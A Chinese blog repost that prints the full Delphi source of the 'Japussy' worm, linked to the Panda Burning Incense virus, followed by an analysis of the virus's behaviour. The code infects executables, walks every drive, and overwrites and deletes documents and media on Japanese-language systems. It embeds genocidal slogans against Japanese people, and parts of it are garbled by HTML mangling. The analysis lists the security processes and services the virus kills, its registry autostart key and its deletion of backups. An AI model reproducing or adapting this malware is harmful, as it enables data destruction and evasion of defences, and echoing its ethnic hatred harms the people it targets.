打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
熊猫烧香病毒源码及分析

今天在OSC看到有人共享熊猫烧香的源码,用Delphi写的,真的是跨平台啊,犹对Japanese操作系统破坏最甚,字里行间留露出作者的愤青情绪啊,大体的看了下,主要是通过拷贝到Windows系统目录中,注册表添加自启动的蠕虫病毒,通过VB调用Windows的Outlook发送邮件,进而达到传播病毒,原始的病毒是将exe的图标改成熊猫烧香的图标,并没有其他功效,真正破坏性的都是后期制作的。

随着编程语言的简化和提高,写个病毒当个骇客,再也不是梦了,主要你要了解病毒是怎么传播的,如何保证自己不会被轻易的杀掉,对Windows的漏洞也要有很深的研究,这样才能写出一个骇人听闻的病毒,但是写出来也不要张扬,自己娱乐下就好了,被他人恶意利用可不是闹着玩的。

不禁想起了之前微软的一个严重漏洞,迟迟四年也没有发现,漏洞是当OS连续运行49天之后会死机,为什么没有发现呢,因为其他的漏洞导致os还未运行就么久就已经死了,原因是每毫米加衣的计时器,在49天之后,int型就溢出了,导致系统崩溃。

随便说说,看下源码,留着以后研究:

program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的大小IconOffset = $12EB8; //PE文件主图标的偏移量//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量{HeaderSize = 38912; //Upx压缩过病毒体的大小IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量//Upx 1.24W 用法: upx -9 --8086 Japussy.exe}IconSize = $2E8; //PE文件主图标的大小--744字节IconTail = IconOffset + IconSize; //PE文件主图标的尾部ID = $44444444; //感染标记//垃圾码,以备写入Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' + ''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' + ''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //日文操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) then Exit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True;end;{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintry sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end;exceptend;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin//哪位仁兄愿意完成之?end;{ 感染PE文件 }procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry //出错则文件正在被使用,退出 if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240)="" then="" 太小的文件不感染="" infected="" :="True;" finally="" srcstream.free;end;="" if="" infected="" or="" (not="" ispe)="" then="" 如果感染过了或不是pe文件则退出="" exit;="" icostream="" :="TMemoryStream.Create;" dststream="" :="TMemoryStream.Create;" try="" aicon="" :="TIcon.Create;" try="" 得到被感染文件的主图标(744字节),存入流="" aicon.releasehandle;="" aicon.handle="" :="ExtractIcon(HInstance," pchar(filename),="" 0);="" aicon.savetostream(icostream);="" finally="" aicon.free;="" end;="" srcstream="" :="TFileStream.Create(FileName," fmopenread);="" 头文件="" hdrstream="" :="TFileStream.Create(ParamStr(0)," fmopenread="" or="" fmsharedenynone);="" try="" 写入病毒体主图标之前的数据="" copystream(hdrstream,="" 0,="" dststream,="" 0,="" iconoffset);="" 写入目前程序的主图标="" copystream(icostream,="" 22,="" dststream,="" iconoffset,="" iconsize);="" 写入病毒体主图标到病毒体尾部之间的数据="" copystream(hdrstream,="" icontail,="" dststream,="" icontail,="" headersize="" -="" icontail);="" 写入宿主程序="" copystream(srcstream,="" 0,="" dststream,="" headersize,="" srcstream.size);="" 写入已感染的标记="" dststream.seek(0,="" 2);="" iid="" :="$44444444;" dststream.write(iid,="" 4);="" finally="" hdrstream.free;="" end;="" finally="" srcstream.free;="" icostream.free;="" dststream.savetofile(filename);="" 替换宿主文件="" dststream.free;="" end;except;end;end;{="" 将目标文件写入垃圾码后删除="" }procedure="" smashfile(filename:="" string);varfilehandle:="" integer;i,="" size,="" mass,="" max,="" len:="" integer;begintry="" setfileattributes(pchar(filename),="" 0);="" 去掉只读属性="" filehandle="" :="FileOpen(FileName," fmopenwrite);="" 打开文件="" try="" size="" :="GetFileSize(FileHandle," nil);="" 文件大小="" i="" :="0;" randomize;="" max="" :="Random(15);" 写入垃圾码的随机次数="" if="" max="">< 5="" then="" max="" :="5;" mass="" :="Size" div="" max;="" 每个间隔块的大小="" len="" :="Length(Catchword);" while="" i="">< max="" do="" begin="" fileseek(filehandle,="" i="" *="" mass,="" 0);="" 定位="" 写入垃圾码,将文件彻底破坏掉="" filewrite(filehandle,="" catchword,="" len);="" inc(i);="" end;="" finally="" fileclose(filehandle);="" 关闭文件="" end;="" deletefile(pchar(filename));="" 删除之exceptend;end;{="" 获得可写的驱动器列表="" }function="" getdrives:="" string;vardisktype:="" word;d:="" char;str:="" string;i:="" integer;beginfor="" i="" :="0" to="" 25="" do="" 遍历26个字母begin="" d="" :="Chr(i" +="" 65);="" str="" :="D" +="" '''''''''''''''':\'''''''''''''''';="" disktype="" :="GetDriveType(PChar(Str));" 得到本地磁盘和网络盘="" if="" (disktype="DRIVE_FIXED)" or="" (disktype="DRIVE_REMOTE)" then="" result="" :="Result" +="" d;end;end;{="" 遍历目录,感染和摧毁文件="" }procedure="" loopfiles(path,="" mask:="" string);vari,="" count:="" integer;fn,="" ext:="" string;subdir:="" tstrings;searchrec:="" tsearchrec;msg:="" tmsg;function="" isvaliddir(searchrec:="" tsearchrec):="" integer;begin="" if="" (searchrec.attr=""><> 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then Result := 1 //不是根目录 else Result := 2; //是根目录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbegin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end else if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址end else begin if IsJap then //是倭文操作系统 begin if (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or (Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or (Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or (Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or (Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) thenbegin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count do LoopFiles(Path + SubDir.Strings + ''''''''''''''''\'''''''''''''''', Mask);FreeAndNil(SubDir);end;{ 遍历磁盘上所有的文件 }procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //日文操作系统 IsJap := True; //去死吧!DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + '''''''''''''''':\'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟end;end;{ 主程序开始 }beginif IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin //远程线程映射到Explorer进程 //哪位兄台愿意完成之?end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then InfectFiles //感染和发邮件else //已寄生于宿主程序上了,开始工作begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件end;end.

原理
“熊猫烧香”,这是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。 

1:拷贝文件 
病毒运行后,会把自己拷贝到C:\WINDOWS\System32\Drivers\spoclsv.exe 

2:添加注册表自启动 
病毒会添加自启动项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe 

3:病毒行为 
a:每隔1秒寻找桌面窗口,并关闭窗口标题中含有以下字符的程序: 
QQKav、QQAV、防火墙、进程、VirusScan、网镖、杀毒、毒霸、瑞星、江民、黄山IE、超级兔子、优化大师、木马克星、木马清道夫、QQ病毒、注册表编辑器、系统配置实用程序、卡巴斯基反病毒、Symantec AntiVirus、Duba、esteem proces、绿鹰PC、密码防盗、噬菌体、木马辅助查找器、System Safety Monitor、Wrapped gift Killer、Winsock Expert、游戏木马检测大师、msctls_statusbar32、pjf(ustc)、IceSword 
并使用的键盘映射的方法关闭安全软件IceSword 
添加注册表使自己自启动 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe 
并中止系统中以下的进程: 
Mcshield.exe、VsTskMgr.exe、naPrdMgr.exe、UpdaterUI.exe、TBMon.exe、scan32.exe、Ravmond.exe、CCenter.exe、RavTask.exe、Rav.exe、Ravmon.exe、RavmonD.exe、RavStub.exe、KVXP.kxp、kvMonXP.kxp、KVCenter.kxp、KVSrvXP.exe、KRegEx.exe、UIHost.exe、TrojDie.kxp、FrogAgent.exe、Logo1_.exe、Logo_1.exe、Rundl132.exe 
b:每隔18秒点击病毒作者指定的网页,并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin$共享 
c:每隔10秒下载病毒作者指定的文件,并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin$共享 
d:每隔6秒删除安全软件在注册表中的键值 
并修改以下值不显示隐藏文件 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00 
删除以下服务: 
navapsvc、wscsvc、KPfwSvc、SNDSrvc、ccProxy、ccEvtMgr、ccSetMgr、SPBBCSvc、Symantec Core LC、NPFMntor MskService、FireSvc 

e:感染文件 
病毒会感染扩展名为exe,pif,com,src的文件,把自己附加到文件的头部,并在扩展名为htm,html, asp,php,jsp,aspx的文件中添加一网址,用户一但打开了该文件,IE就会不断的在后台点击写入的网址,达到增加点击量的目的,但病毒不会感染以下文件夹名中的文件: 
WINDOW、Winnt、System Volume Information、Recycled、Windows NT、WindowsUpdate、Windows Media Player、Outlook Express、Internet Explorer、NetMeeting、Common Files、ComPlus Applications、Messenger、InstallShield Installation Information、MSN、Microsoft Frontpage、Movie Maker、MSN Gamin Zone 

g:删除文件 
病毒会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件使用户的系统备份文件丢失

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
Crossbow病毒开放源代码-熊猫烧香源始代码
熊猫烧香—原代码
“熊猫烧香”源码启示录
不惧病毒和手残 把PE启动盘隐藏起来
TSearchRec
delphi 递归算法遍历文件
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服